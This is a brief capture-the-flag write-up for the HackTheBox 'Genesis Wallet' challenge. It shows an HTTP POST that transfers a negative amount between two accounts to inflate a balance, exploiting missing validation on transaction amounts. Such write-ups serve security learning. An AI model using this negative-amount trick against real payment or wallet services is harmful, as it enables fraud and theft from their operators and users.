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pich4ya/Genesis_Wallet_Writeup.txt

Created May 19, 2022 13:27
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HackTheBox Cyber Apocalypse 2022 Intergalactic Chase - Genesis Wallet Writeup
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Genesis_Wallet_Writeup.txt
# author Pichaya Morimoto (p.morimoto@sth.sh)
Unintened solution.
You create 2 users. Then, do transfer -9999 amount from one account to another.
POST /api/transactions/create HTTP/1.1
[...]
Content-Length: 84
{"amount": "-9999", "note": "asd", "receiver": "c8b07fa9e1a8f821bef8678c30641774"}
0.1 - (-9999) = 9999.1
Then, you have more money than 1337 !
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